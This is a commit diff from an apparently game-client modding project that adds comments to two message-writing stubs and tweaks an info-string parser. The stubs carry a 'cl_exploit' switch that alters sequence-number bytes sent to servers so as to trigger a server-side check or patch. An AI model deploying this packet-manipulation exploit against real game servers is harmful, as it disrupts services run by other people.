maint: major write up improvement. No functional changes

This commit is contained in:
2024-01-25 13:26:30 +01:00
parent 1a691ed547
commit 4d0ef6279a
5 changed files with 73 additions and 8 deletions

View File

@ -20,28 +20,52 @@ game::dvar_t* cl_exploit;
* https://stackoverflow.com/questions/58981714/how-do-i-change-the-value-of-a-single-byte-in-a-uint32-t-variable
*/
/*
* On the server side the msg_t structure processed as follows:
* The first 4 bytes are read but not processed (offset 0)
* The following 2 bytes are read but not processed (offset 4)
* The following 1 byte is read and corresponds to the client_t.serverId (offset
* 6) The following 4 bytes are read and corresponds to the
* client_t.>messageAcknowledge (offset 7) The following 4 bytes are read and
* corresponds to the client_t.reliableAcknowledge (offset 11)
*/
/**
* MSG_WriteLong stub which writes clc.serverMessageSequence.
* Tekno gods will check in their Netchan_Process stub this byte is 0. If it is
* not 0 it will trigger their patch.
* @param[out] msg The message to write to.
* @param[in] data The data to modify
*/
void write_message_sequence(game::msg_t* msg, int data) {
if (msg->maxsize - static_cast<unsigned int>(msg->cursize) < sizeof(int)) {
msg->overflowed = TRUE;
return;
}
if (cl_exploit->current.enabled)
if (cl_exploit->current.enabled) {
data = (data & 0xFFFFFF00) | 0xAAu;
}
auto* dest = reinterpret_cast<int*>(&msg->data[msg->cursize]);
*dest = data;
msg->cursize += sizeof(int);
}
/**
* MSG_WriteLong stub which writes clc.serverCommandSequence
* @param[out] msg The message to write to.
* @param[in] data The data to modify
*/
void write_command_sequence(game::msg_t* msg, int data) {
if (msg->maxsize - static_cast<unsigned int>(msg->cursize) < sizeof(int)) {
msg->overflowed = TRUE;
return;
}
if (cl_exploit->current.enabled)
if (cl_exploit->current.enabled) {
data = (data & 0x00FFFFFF) | (0x80u << 24);
}
auto* dest = reinterpret_cast<int*>(&msg->data[msg->cursize]);
*dest = data;

View File

@ -30,7 +30,10 @@ void info_string::parse(std::string buffer) {
i += 2) {
const auto& key = key_values[i];
const auto& value = key_values[i + 1];
this->key_value_pairs_[key] = value;
if (!this->key_value_pairs_.contains(key)) {
this->key_value_pairs_[key] = value;
}
}
}